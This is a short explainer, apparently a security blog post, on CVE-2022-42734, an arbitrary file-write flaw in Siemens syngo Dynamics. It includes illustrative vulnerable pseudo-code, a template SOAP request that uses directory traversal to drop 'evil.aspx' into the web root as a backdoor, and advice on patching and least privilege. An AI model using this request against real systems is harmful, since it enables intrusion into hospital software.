---

What Is CVE-2022-42734?

A serious vulnerability, CVE-2022-42734, was discovered in Siemens syngo Dynamics—a well-known medical imaging software used in hospitals and clinics for cardiology and radiology. Versions affected: All versions before VA40G HF01.

The problem? syngo Dynamics uses a web service with poor access control. As a result, any attacker who can reach the web service could *write*, or upload, data to any folder the application pool account can access, not just intended directories. That’s a big deal: attackers can plant malicious files, tamper with configs, or even set up a backdoor.

Technical Details

The vulnerability lies in a web service method exposed by syngo Dynamics' application server. This API did not check *where* it was writing files, or *what* types of files were being written.

Let's break it down with an example

// Pseudo-coded snippet—do not use in production
[WebMethod]
public void SaveFile(string fileName, byte[] fileContents)
{
    // Problem area: no input sanitation or path checking!
    string path = @"C:\syngoData\" + fileName;
    File.WriteAllBytes(path, fileContents);
}

Here, if fileName is supplied as ..\..\Windows\System32\mycmd.exe, the API will naively write (or *overwrite*) mycmd.exe in system directories, provided the application pool account has permissions. There is no check for directory traversal, whitelisted paths, or allowed file types.

What could an attacker achieve?

- Plant a backdoor: Drop an executable or script in a web directory, then browse to it to gain code execution.

Example Exploit Flow

1. Find the vulnerable API endpoint, often /syngodynamics/SaveFile.asmx.

Forge a POST request like

POST /syngodynamics/SaveFile.asmx HTTP/1.1
Host: <target>
Content-Type: text/xml; charset=utf-8
Content-Length: <length>

<soap:Envelope ...>
  <soap:Body>
    <SaveFile>
      <fileName>..\..\inetpub\wwwroot\evil.aspx</fileName>
      <fileContents>...</fileContents>
    </SaveFile>
  </soap:Body>
</soap:Envelope>

3. Navigate to http://<target>/evil.aspx to trigger the backdoor.

Note: Real-world exploitation depends on account permissions. Many defaults grant the app pool extensive access by mistake.

References

- Siemens Advisory SSA-619257
- NVD Entry for CVE-2022-42734
- Siemens ProductCERT
- Mitre CVE Database

Remediation and Best Practices

Siemens patched this problem in syngo Dynamics VA40G HF01. If you use this application, update immediately!

TL;DR

CVE-2022-42734 lets an attacker drop files in any server directory that the syngo Dynamics web application can write to. This happens because the web service doesn’t check the folder path or file type. The fix is to upgrade to the patched version and always use least-privilege for the app pool account. Security-aware design and regular patching save lives—in medicine and in IT.

Timeline

Published on: 11/17/2022 17:15:00 UTC
Last modified on: 11/21/2022 19:58:00 UTC